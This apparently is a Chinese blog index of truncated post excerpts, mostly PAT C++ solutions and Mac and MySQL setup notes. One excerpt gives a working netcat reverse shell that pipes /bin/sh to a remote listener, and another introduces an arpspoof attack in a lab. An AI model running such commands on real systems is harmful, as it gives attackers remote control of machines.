原创 PAT甲級真題 1067 Sort with Swap(0, i) (25分) C++實現(注意測試點1、2超時問題)

題目 Given any permutation of the numbers {0, 1, 2,…, N-1}, it is easy to sort them in increasing order. But what if

原创 NC不用-e建立TCP/UDP 反彈連接shell

主機1監聽端口,主機2發起連接。 TCP shell 主機1: nc -nvlp 4444 主機2: mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc 主機1的IP 4444

原创 mac迅雷如何批量下載頁面全部鏈接(無需插件,只需三步)

mac系統,在谷歌應用商店安裝mac迅雷擴展插件,發現依然沒有“下載頁面全部鏈接”的選項。 由於mac迅雷支持監聽剪切板,可以把鏈接全部拷到剪切板: 打開mac迅雷 選第一個鏈接,右鍵,Inspect 找到所屬列表,本例中

原创 Mac下Xcode通過MySQL Connector/C++ 8.0連接MySQL詳細環境搭建歷程

問題描述 爲了使mac下Xcode建立的c++項目能操作mysql數據庫,找遍了國內國外各種教程,踩坑無數,終於摸索出了環境搭建的方法。 心得是,官方文檔永遠是最好的教程: 5.1 Building Connector/C++ A

原创 PAT甲級真題 1072 Gas Station (30分) C++實現(Dijkstra算法,測試點4四捨五入的坑)

題目 A gas station has to be built at such a location that the minimum distance between the station and any of the re

原创 OSSEC文件監控和命令監控(附文件監控測試用例)

OSSEC的log文件監控(LIDS,log-based intrusion detection),能檢測攻擊、誤用、系統錯誤等。 agent端不產生alerts,全部由server集中分析處理。 具體參考官方文檔:Log mon

原创 PAT甲級真題 1081 Rational Sum (20分) C++實現(模擬分數加法)

題目 Given N rational numbers in the form “numerator/denominator”, you are supposed to calculate their sum. Input Spe

原创 PAT甲級真題 1076 Forwards on Weibo (30分) C++實現(圖的廣度優先遍歷,BFS)

題目 Weibo is known as the Chinese version of Twitter. One user on Weibo may have many followers, and may follow many

原创 PAT甲級真題 1077 Kuchiguse (20分) C++實現(倒序搜索字符串公共尾部)

題目 The Japanese language is notorious for its sentence ending particles. Personal preference of such particles can

原创 PAT甲級真題 1082 Read Number in Chinese (25分) C++實現(中文讀數,分治法)

題目 Given an integer with no more than 9 digits, you are supposed to read it in the traditional Chinese way. Output

原创 PAT甲級真題 1068 Find More Coins (30) C++實現(0-1揹包,找最小序列的方法)

題目 Eva loves to collect coins from all over the universe, including some other planets like Mars. One day she visit

原创 PAT甲級真題 1079 Total Sales of Supply Chain (25分) C++實現(帶深度的DFS)

題目 A supply chain is a network of retailers(零售商), distributors(經銷商), and suppliers(供應商)– everyone involved in movin

原创 Kali linux aprspoof arp斷網、欺騙攻擊

環境 攻擊機:Kali Linux 2020.1 172.16.252.129 靶機:Ubuntu 16.04 172.16.252.138 網關:172.16.252.2 安裝arpspoof Kali Linux 2020.1

原创 PAT甲級真題 1073 Scientific Notation (20分) C++實現(科學計數法轉普通格式)

題目 Scientific notation is the way that scientists easily handle very large numbers or very small numbers. The notat

原创 什麼是僞多項式時間算法

首先一定要搞清楚下面的定義。 輸入規模:一個問題的輸入規模是保存輸入數據所需要的bit位數。 (不理解“僞多項式時間”,可能很大程度上是由於對“輸入規模”的誤解。輸入規模不是指輸入的大小,也不是指多少,而是指在2進制下保存它們需要